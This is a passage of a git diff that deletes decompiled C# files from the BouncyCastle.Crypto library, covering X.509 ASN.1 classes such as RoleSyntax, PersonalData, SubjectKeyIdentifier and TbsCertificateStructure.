(DerObjectIdentifier)obj; - - public static TypeOfBiometricData GetInstance(object obj) - { - if (obj == null || obj is TypeOfBiometricData) - { - return (TypeOfBiometricData)obj; - } - if (obj is DerInteger) - { - DerInteger instance = DerInteger.GetInstance(obj); - int intValue = instance.Value.IntValue; - return new TypeOfBiometricData(intValue); - } - if (obj is DerObjectIdentifier) - { - DerObjectIdentifier instance2 = DerObjectIdentifier.GetInstance(obj); - return new TypeOfBiometricData(instance2); - } - throw new ArgumentException("unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - public TypeOfBiometricData(int predefinedBiometricType) - { - if (predefinedBiometricType == 0 || predefinedBiometricType == 1) - { - obj = new DerInteger(predefinedBiometricType); - return; - } - throw new ArgumentException("unknow PredefinedBiometricType : " + predefinedBiometricType); - } - - public TypeOfBiometricData(DerObjectIdentifier biometricDataOid) - { - obj = biometricDataOid; - } - - public override Asn1Object ToAsn1Object() - { - return obj.ToAsn1Object(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/ReasonFlags.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/ReasonFlags.cs deleted file mode 100644 index edfbf9f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/ReasonFlags.cs +++ /dev/null @@ -1,32 +0,0 @@ -namespace Org.BouncyCastle.Asn1.X509; - -public class ReasonFlags : DerBitString -{ - public const int Unused = 128; - - public const int KeyCompromise = 64; - - public const int CACompromise = 32; - - public const int AffiliationChanged = 16; - - public const int Superseded = 8; - - public const int CessationOfOperation = 4; - - public const int CertificateHold = 2; - - public const int PrivilegeWithdrawn = 1; - - public const int AACompromise = 32768; - - public ReasonFlags(int reasons) - : base(reasons) - { - } - - public ReasonFlags(DerBitString reasons) - : base(reasons.GetBytes(), reasons.PadBits) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/RoleSyntax.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/RoleSyntax.cs deleted file mode 100644 index 145d021..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/RoleSyntax.cs +++ /dev/null @@ -1,130 +0,0 @@ -using System; -using System.Text; - -namespace Org.BouncyCastle.Asn1.X509; - -public class RoleSyntax : Asn1Encodable -{ - private readonly GeneralNames roleAuthority; - - private readonly GeneralName roleName; - - public GeneralNames RoleAuthority => roleAuthority; - - public GeneralName RoleName => roleName; - - public static RoleSyntax GetInstance(object obj) - { - if (obj is RoleSyntax) - { - return (RoleSyntax)obj; - } - if (obj != null) - { - return new RoleSyntax(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public RoleSyntax(GeneralNames roleAuthority, GeneralName roleName) - { - if (roleName == null || roleName.TagNo != 6 || ((IAsn1String)roleName.Name).GetString().Equals("")) - { - throw new ArgumentException("the role name MUST be non empty and MUST use the URI option of GeneralName"); - } - this.roleAuthority = roleAuthority; - this.roleName = roleName; - } - - public RoleSyntax(GeneralName roleName) - : this(null, roleName) - { - } - - public RoleSyntax(string roleName) - : this(new GeneralName(6, (roleName == null) ? "" : roleName)) - { - } - - private RoleSyntax(Asn1Sequence seq) - { - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - for (int i = 0; i != seq.Count; i++) - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(seq[i]); - switch (instance.TagNo) - { - case 0: - roleAuthority = GeneralNames.GetInstance(instance, explicitly: false); - break; - case 1: - roleName = GeneralName.GetInstance(instance, explicitly: true); - break; - default: - throw new ArgumentException("Unknown tag in RoleSyntax"); - } - } - } - - public string GetRoleNameAsString() - { - return ((IAsn1String)roleName.Name).GetString(); - } - - public string[] GetRoleAuthorityAsString() - { - if (roleAuthority == null) - { - return new string[0]; - } - GeneralName[] names = roleAuthority.GetNames(); - string[] array = new string[names.Length]; - for (int i = 0; i < names.Length; i++) - { - Asn1Encodable name = names[i].Name; - if (name is IAsn1String) - { - array[i] = ((IAsn1String)name).GetString(); - } - else - { - array[i] = name.ToString(); - } - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (roleAuthority != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, roleAuthority)); - } - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, roleName)); - return new DerSequence(asn1EncodableVector); - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder("Name: " + GetRoleNameAsString() + " - Auth: "); - if (roleAuthority == null || roleAuthority.GetNames().Length == 0) - { - stringBuilder.Append("N/A"); - } - else - { - string[] roleAuthorityAsString = GetRoleAuthorityAsString(); - stringBuilder.Append('[').Append(roleAuthorityAsString[0]); - for (int i = 1; i < roleAuthorityAsString.Length; i++) - { - stringBuilder.Append(", ").Append(roleAuthorityAsString[i]); - } - stringBuilder.Append(']'); - } - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/RsaPublicKeyStructure.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/RsaPublicKeyStructure.cs deleted file mode 100644 index fbef6a2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/RsaPublicKeyStructure.cs +++ /dev/null @@ -1,71 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class RsaPublicKeyStructure : Asn1Encodable -{ - private BigInteger modulus; - - private BigInteger publicExponent; - - public BigInteger Modulus => modulus; - - public BigInteger PublicExponent => publicExponent; - - public static RsaPublicKeyStructure GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static RsaPublicKeyStructure GetInstance(object obj) - { - if (obj == null || obj is RsaPublicKeyStructure) - { - return (RsaPublicKeyStructure)obj; - } - if (obj is Asn1Sequence) - { - return new RsaPublicKeyStructure((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid RsaPublicKeyStructure: " + Platform.GetTypeName(obj)); - } - - public RsaPublicKeyStructure(BigInteger modulus, BigInteger publicExponent) - { - if (modulus == null) - { - throw new ArgumentNullException("modulus"); - } - if (publicExponent == null) - { - throw new ArgumentNullException("publicExponent"); - } - if (modulus.SignValue <= 0) - { - throw new ArgumentException("Not a valid RSA modulus", "modulus"); - } - if (publicExponent.SignValue <= 0) - { - throw new ArgumentException("Not a valid RSA public exponent", "publicExponent"); - } - this.modulus = modulus; - this.publicExponent = publicExponent; - } - - private RsaPublicKeyStructure(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - modulus = DerInteger.GetInstance(seq[0]).PositiveValue; - publicExponent = DerInteger.GetInstance(seq[1]).PositiveValue; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(new DerInteger(Modulus), new DerInteger(PublicExponent)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SigI/NameOrPseudonym.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SigI/NameOrPseudonym.cs deleted file mode 100644 index d82da3f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SigI/NameOrPseudonym.cs +++ /dev/null @@ -1,85 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X500; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509.SigI; - -public class NameOrPseudonym : Asn1Encodable, IAsn1Choice -{ - private readonly DirectoryString pseudonym; - - private readonly DirectoryString surname; - - private readonly Asn1Sequence givenName; - - public DirectoryString Pseudonym => pseudonym; - - public DirectoryString Surname => surname; - - public static NameOrPseudonym GetInstance(object obj) - { - if (obj == null || obj is NameOrPseudonym) - { - return (NameOrPseudonym)obj; - } - if (obj is IAsn1String) - { - return new NameOrPseudonym(DirectoryString.GetInstance(obj)); - } - if (obj is Asn1Sequence) - { - return new NameOrPseudonym((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public NameOrPseudonym(DirectoryString pseudonym) - { - this.pseudonym = pseudonym; - } - - private NameOrPseudonym(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - if (!(seq[0] is IAsn1String)) - { - throw new ArgumentException("Bad object encountered: " + Platform.GetTypeName(seq[0])); - } - surname = DirectoryString.GetInstance(seq[0]); - givenName = Asn1Sequence.GetInstance(seq[1]); - } - - public NameOrPseudonym(string pseudonym) - : this(new DirectoryString(pseudonym)) - { - } - - public NameOrPseudonym(DirectoryString surname, Asn1Sequence givenName) - { - this.surname = surname; - this.givenName = givenName; - } - - public DirectoryString[] GetGivenName() - { - DirectoryString[] array = new DirectoryString[givenName.Count]; - int num = 0; - foreach (object item in givenName) - { - array[num++] = DirectoryString.GetInstance(item); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - if (pseudonym != null) - { - return pseudonym.ToAsn1Object(); - } - return new DerSequence(surname, givenName); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SigI/PersonalData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SigI/PersonalData.cs deleted file mode 100644 index 766af8e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SigI/PersonalData.cs +++ /dev/null @@ -1,119 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.X500; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509.SigI; - -public class PersonalData : Asn1Encodable -{ - private readonly NameOrPseudonym nameOrPseudonym; - - private readonly BigInteger nameDistinguisher; - - private readonly DerGeneralizedTime dateOfBirth; - - private readonly DirectoryString placeOfBirth; - - private readonly string gender; - - private readonly DirectoryString postalAddress; - - public NameOrPseudonym NameOrPseudonym => nameOrPseudonym; - - public BigInteger NameDistinguisher => nameDistinguisher; - - public DerGeneralizedTime DateOfBirth => dateOfBirth; - - public DirectoryString PlaceOfBirth => placeOfBirth; - - public string Gender => gender; - - public DirectoryString PostalAddress => postalAddress; - - public static PersonalData GetInstance(object obj) - { - if (obj == null || obj is PersonalData) - { - return (PersonalData)obj; - } - if (obj is Asn1Sequence) - { - return new PersonalData((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private PersonalData(Asn1Sequence seq) - { - if (seq.Count < 1) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - IEnumerator enumerator = seq.GetEnumerator(); - enumerator.MoveNext(); - nameOrPseudonym = NameOrPseudonym.GetInstance(enumerator.Current); - while (enumerator.MoveNext()) - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(enumerator.Current); - switch (instance.TagNo) - { - case 0: - nameDistinguisher = DerInteger.GetInstance(instance, isExplicit: false).Value; - break; - case 1: - dateOfBirth = DerGeneralizedTime.GetInstance(instance, isExplicit: false); - break; - case 2: - placeOfBirth = DirectoryString.GetInstance(instance, isExplicit: true); - break; - case 3: - gender = DerPrintableString.GetInstance(instance, isExplicit: false).GetString(); - break; - case 4: - postalAddress = DirectoryString.GetInstance(instance, isExplicit: true); - break; - default: - throw new ArgumentException("Bad tag number: " + instance.TagNo); - } - } - } - - public PersonalData(NameOrPseudonym nameOrPseudonym, BigInteger nameDistinguisher, DerGeneralizedTime dateOfBirth, DirectoryString placeOfBirth, string gender, DirectoryString postalAddress) - { - this.nameOrPseudonym = nameOrPseudonym; - this.dateOfBirth = dateOfBirth; - this.gender = gender; - this.nameDistinguisher = nameDistinguisher; - this.postalAddress = postalAddress; - this.placeOfBirth = placeOfBirth; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - asn1EncodableVector.Add(nameOrPseudonym); - if (nameDistinguisher != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, new DerInteger(nameDistinguisher))); - } - if (dateOfBirth != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, dateOfBirth)); - } - if (placeOfBirth != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 2, placeOfBirth)); - } - if (gender != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 3, new DerPrintableString(gender, validate: true))); - } - if (postalAddress != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 4, postalAddress)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SigI/SigIObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SigI/SigIObjectIdentifiers.cs deleted file mode 100644 index 5edceab..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SigI/SigIObjectIdentifiers.cs +++ /dev/null @@ -1,22 +0,0 @@ -namespace Org.BouncyCastle.Asn1.X509.SigI; - -public sealed class SigIObjectIdentifiers -{ - public static readonly DerObjectIdentifier IdSigI = new DerObjectIdentifier("1.3.36.8"); - - public static readonly DerObjectIdentifier IdSigIKP = new DerObjectIdentifier(string.Concat(IdSigI, ".2")); - - public static readonly DerObjectIdentifier IdSigICP = new DerObjectIdentifier(string.Concat(IdSigI, ".1")); - - public static readonly DerObjectIdentifier IdSigION = new DerObjectIdentifier(string.Concat(IdSigI, ".4")); - - public static readonly DerObjectIdentifier IdSigIKPDirectoryService = new DerObjectIdentifier(string.Concat(IdSigIKP, ".1")); - - public static readonly DerObjectIdentifier IdSigIONPersonalData = new DerObjectIdentifier(string.Concat(IdSigION, ".1")); - - public static readonly DerObjectIdentifier IdSigICPSigConform = new DerObjectIdentifier(string.Concat(IdSigICP, ".1")); - - private SigIObjectIdentifiers() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SubjectDirectoryAttributes.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SubjectDirectoryAttributes.cs deleted file mode 100644 index 719e476..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SubjectDirectoryAttributes.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.X509; - -public class SubjectDirectoryAttributes : Asn1Encodable -{ - private readonly IList attributes; - - public IEnumerable Attributes => new EnumerableProxy(attributes); - - public static SubjectDirectoryAttributes GetInstance(object obj) - { - if (obj == null || obj is SubjectDirectoryAttributes) - { - return (SubjectDirectoryAttributes)obj; - } - if (obj is Asn1Sequence) - { - return new SubjectDirectoryAttributes((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private SubjectDirectoryAttributes(Asn1Sequence seq) - { - attributes = Platform.CreateArrayList(); - foreach (object item in seq) - { - Asn1Sequence instance = Asn1Sequence.GetInstance(item); - attributes.Add(AttributeX509.GetInstance(instance)); - } - } - - [Obsolete] - public SubjectDirectoryAttributes(ArrayList attributes) - : this((IList)attributes) - { - } - - public SubjectDirectoryAttributes(IList attributes) - { - this.attributes = Platform.CreateArrayList(attributes); - } - - public override Asn1Object ToAsn1Object() - { - AttributeX509[] array = new AttributeX509[attributes.Count]; - for (int i = 0; i < attributes.Count; i++) - { - array[i] = (AttributeX509)attributes[i]; - } - return new DerSequence(array); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SubjectKeyIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SubjectKeyIdentifier.cs deleted file mode 100644 index 36a75b8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SubjectKeyIdentifier.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class SubjectKeyIdentifier : Asn1Encodable -{ - private readonly byte[] keyIdentifier; - - public static SubjectKeyIdentifier GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1OctetString.GetInstance(obj, explicitly)); - } - - public static SubjectKeyIdentifier GetInstance(object obj) - { - if (obj is SubjectKeyIdentifier) - { - return (SubjectKeyIdentifier)obj; - } - if (obj is SubjectPublicKeyInfo) - { - return new SubjectKeyIdentifier((SubjectPublicKeyInfo)obj); - } - if (obj is Asn1OctetString) - { - return new SubjectKeyIdentifier((Asn1OctetString)obj); - } - if (obj is X509Extension) - { - return GetInstance(X509Extension.ConvertValueToObject((X509Extension)obj)); - } - throw new ArgumentException("Invalid SubjectKeyIdentifier: " + Platform.GetTypeName(obj)); - } - - public SubjectKeyIdentifier(byte[] keyID) - { - if (keyID == null) - { - throw new ArgumentNullException("keyID"); - } - keyIdentifier = keyID; - } - - public SubjectKeyIdentifier(Asn1OctetString keyID) - { - keyIdentifier = keyID.GetOctets(); - } - - public SubjectKeyIdentifier(SubjectPublicKeyInfo spki) - { - keyIdentifier = GetDigest(spki); - } - - public byte[] GetKeyIdentifier() - { - return keyIdentifier; - } - - public override Asn1Object ToAsn1Object() - { - return new DerOctetString(keyIdentifier); - } - - public static SubjectKeyIdentifier CreateSha1KeyIdentifier(SubjectPublicKeyInfo keyInfo) - { - return new SubjectKeyIdentifier(keyInfo); - } - - public static SubjectKeyIdentifier CreateTruncatedSha1KeyIdentifier(SubjectPublicKeyInfo keyInfo) - { - byte[] digest = GetDigest(keyInfo); - byte[] array = new byte[8]; - Array.Copy(digest, digest.Length - 8, array, 0, array.Length); - byte[] array2; - (array2 = array)[0] = (byte)(array2[0] & 0xF); - (array2 = array)[0] = (byte)(array2[0] | 0x40); - return new SubjectKeyIdentifier(array); - } - - private static byte[] GetDigest(SubjectPublicKeyInfo spki) - { - IDigest digest = new Sha1Digest(); - byte[] array = new byte[digest.GetDigestSize()]; - byte[] bytes = spki.PublicKeyData.GetBytes(); - digest.BlockUpdate(bytes, 0, bytes.Length); - digest.DoFinal(array, 0); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SubjectPublicKeyInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SubjectPublicKeyInfo.cs deleted file mode 100644 index 92d97a1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/SubjectPublicKeyInfo.cs +++ /dev/null @@ -1,64 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class SubjectPublicKeyInfo : Asn1Encodable -{ - private readonly AlgorithmIdentifier algID; - - private readonly DerBitString keyData; - - public AlgorithmIdentifier AlgorithmID => algID; - - public DerBitString PublicKeyData => keyData; - - public static SubjectPublicKeyInfo GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static SubjectPublicKeyInfo GetInstance(object obj) - { - if (obj is SubjectPublicKeyInfo) - { - return (SubjectPublicKeyInfo)obj; - } - if (obj != null) - { - return new SubjectPublicKeyInfo(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public SubjectPublicKeyInfo(AlgorithmIdentifier algID, Asn1Encodable publicKey) - { - keyData = new DerBitString(publicKey); - this.algID = algID; - } - - public SubjectPublicKeyInfo(AlgorithmIdentifier algID, byte[] publicKey) - { - keyData = new DerBitString(publicKey); - this.algID = algID; - } - - private SubjectPublicKeyInfo(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - algID = AlgorithmIdentifier.GetInstance(seq[0]); - keyData = DerBitString.GetInstance(seq[1]); - } - - public Asn1Object GetPublicKey() - { - return Asn1Object.FromByteArray(keyData.GetOctets()); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(algID, keyData); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Target.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Target.cs deleted file mode 100644 index fd85178..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Target.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class Target : Asn1Encodable, IAsn1Choice -{ - public enum Choice - { - Name, - Group - } - - private readonly GeneralName targetName; - - private readonly GeneralName targetGroup; - - public virtual GeneralName TargetGroup => targetGroup; - - public virtual GeneralName TargetName => targetName; - - public static Target GetInstance(object obj) - { - if (obj is Target) - { - return (Target)obj; - } - if (obj is Asn1TaggedObject) - { - return new Target((Asn1TaggedObject)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private Target(Asn1TaggedObject tagObj) - { - switch ((Choice)tagObj.TagNo) - { - case Choice.Name: - targetName = GeneralName.GetInstance(tagObj, explicitly: true); - break; - case Choice.Group: - targetGroup = GeneralName.GetInstance(tagObj, explicitly: true); - break; - default: - throw new ArgumentException("unknown tag: " + tagObj.TagNo); - } - } - - public Target(Choice type, GeneralName name) - : this(new DerTaggedObject((int)type, name)) - { - } - - public override Asn1Object ToAsn1Object() - { - if (targetName != null) - { - return new DerTaggedObject(explicitly: true, 0, targetName); - } - return new DerTaggedObject(explicitly: true, 1, targetGroup); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/TargetInformation.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/TargetInformation.cs deleted file mode 100644 index 2a4402d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/TargetInformation.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class TargetInformation : Asn1Encodable -{ - private readonly Asn1Sequence targets; - - public static TargetInformation GetInstance(object obj) - { - if (obj is TargetInformation) - { - return (TargetInformation)obj; - } - if (obj is Asn1Sequence) - { - return new TargetInformation((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private TargetInformation(Asn1Sequence targets) - { - this.targets = targets; - } - - public virtual Targets[] GetTargetsObjects() - { - Targets[] array = new Targets[targets.Count]; - for (int i = 0; i < targets.Count; i++) - { - array[i] = Targets.GetInstance(targets[i]); - } - return array; - } - - public TargetInformation(Targets targets) - { - this.targets = new DerSequence(targets); - } - - public TargetInformation(Target[] targets) - : this(new Targets(targets)) - { - } - - public override Asn1Object ToAsn1Object() - { - return targets; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Targets.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Targets.cs deleted file mode 100644 index 7de0b20..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Targets.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class Targets : Asn1Encodable -{ - private readonly Asn1Sequence targets; - - public static Targets GetInstance(object obj) - { - if (obj is Targets) - { - return (Targets)obj; - } - if (obj is Asn1Sequence) - { - return new Targets((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private Targets(Asn1Sequence targets) - { - this.targets = targets; - } - - public Targets(Target[] targets) - { - this.targets = new DerSequence(targets); - } - - public virtual Target[] GetTargets() - { - Target[] array = new Target[targets.Count]; - for (int i = 0; i < targets.Count; i++) - { - array[i] = Target.GetInstance(targets[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return targets; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/TbsCertificateList.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/TbsCertificateList.cs deleted file mode 100644 index a029584..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/TbsCertificateList.cs +++ /dev/null @@ -1,156 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.X509; - -public class TbsCertificateList : Asn1Encodable -{ - private class RevokedCertificatesEnumeration : IEnumerable - { - private class RevokedCertificatesEnumerator : IEnumerator - { - private readonly IEnumerator e; - - public object Current => new CrlEntry(Asn1Sequence.GetInstance(e.Current)); - - internal RevokedCertificatesEnumerator(IEnumerator e) - { - this.e = e; - } - - public bool MoveNext() - { - return e.MoveNext(); - } - - public void Reset() - { - e.Reset(); - } - } - - private readonly IEnumerable en; - - internal RevokedCertificatesEnumeration(IEnumerable en) - { - this.en = en; - } - - public IEnumerator GetEnumerator() - { - return new RevokedCertificatesEnumerator(en.GetEnumerator()); - } - } - - internal Asn1Sequence seq; - - internal DerInteger version; - - internal AlgorithmIdentifier signature; - - internal X509Name issuer; - - internal Time thisUpdate; - - internal Time nextUpdate; - - internal Asn1Sequence revokedCertificates; - - internal X509Extensions crlExtensions; - - public int Version => version.Value.IntValue + 1; - - public DerInteger VersionNumber => version; - - public AlgorithmIdentifier Signature => signature; - - public X509Name Issuer => issuer; - - public Time ThisUpdate => thisUpdate; - - public Time NextUpdate => nextUpdate; - - public X509Extensions Extensions => crlExtensions; - - public static TbsCertificateList GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static TbsCertificateList GetInstance(object obj) - { - TbsCertificateList tbsCertificateList = obj as TbsCertificateList; - if (obj == null || tbsCertificateList != null) - { - return tbsCertificateList; - } - if (obj is Asn1Sequence) - { - return new TbsCertificateList((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - internal TbsCertificateList(Asn1Sequence seq) - { - if (seq.Count < 3 || seq.Count > 7) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - int num = 0; - this.seq = seq; - if (seq[num] is DerInteger) - { - version = DerInteger.GetInstance(seq[num++]); - } - else - { - version = new DerInteger(0); - } - signature = AlgorithmIdentifier.GetInstance(seq[num++]); - issuer = X509Name.GetInstance(seq[num++]); - thisUpdate = Time.GetInstance(seq[num++]); - if (num < seq.Count && (seq[num] is DerUtcTime || seq[num] is DerGeneralizedTime || seq[num] is Time)) - { - nextUpdate = Time.GetInstance(seq[num++]); - } - if (num < seq.Count && !(seq[num] is DerTaggedObject)) - { - revokedCertificates = Asn1Sequence.GetInstance(seq[num++]); - } - if (num < seq.Count && seq[num] is DerTaggedObject) - { - crlExtensions = X509Extensions.GetInstance(seq[num]); - } - } - - public CrlEntry[] GetRevokedCertificates() - { - if (revokedCertificates == null) - { - return new CrlEntry[0]; - } - CrlEntry[] array = new CrlEntry[revokedCertificates.Count]; - for (int i = 0; i < array.Length; i++) - { - array[i] = new CrlEntry(Asn1Sequence.GetInstance(revokedCertificates[i])); - } - return array; - } - - public IEnumerable GetRevokedCertificateEnumeration() - { - if (revokedCertificates == null) - { - return EmptyEnumerable.Instance; - } - return new RevokedCertificatesEnumeration(revokedCertificates); - } - - public override Asn1Object ToAsn1Object() - { - return seq; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/TbsCertificateStructure.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/TbsCertificateStructure.cs deleted file mode 100644 index c91cd06..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/TbsCertificateStructure.cs +++ /dev/null @@ -1,143 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Asn1.X509; - -public class TbsCertificateStructure : Asn1Encodable -{ - internal Asn1Sequence seq; - - internal DerInteger version; - - internal DerInteger serialNumber; - - internal AlgorithmIdentifier signature; - - internal X509Name issuer; - - internal Time startDate; - - internal Time endDate; - - internal X509Name subject; - - internal SubjectPublicKeyInfo subjectPublicKeyInfo; - - internal DerBitString issuerUniqueID; - - internal DerBitString subjectUniqueID; - - internal X509Extensions extensions; - - public int Version => version.Value.IntValue + 1; - - public DerInteger VersionNumber => version; - - public DerInteger SerialNumber => serialNumber; - - public AlgorithmIdentifier Signature => signature; - - public X509Name Issuer => issuer; - - public Time StartDate => startDate; - - public Time EndDate => endDate; - - public X509Name Subject => subject; - - public SubjectPublicKeyInfo SubjectPublicKeyInfo => subjectPublicKeyInfo; - - public DerBitString IssuerUniqueID => issuerUniqueID; - - public DerBitString SubjectUniqueID => subjectUniqueID; - - public X509Extensions Extensions => extensions; - - public static TbsCertificateStructure GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static TbsCertificateStructure GetInstance(object obj) - { 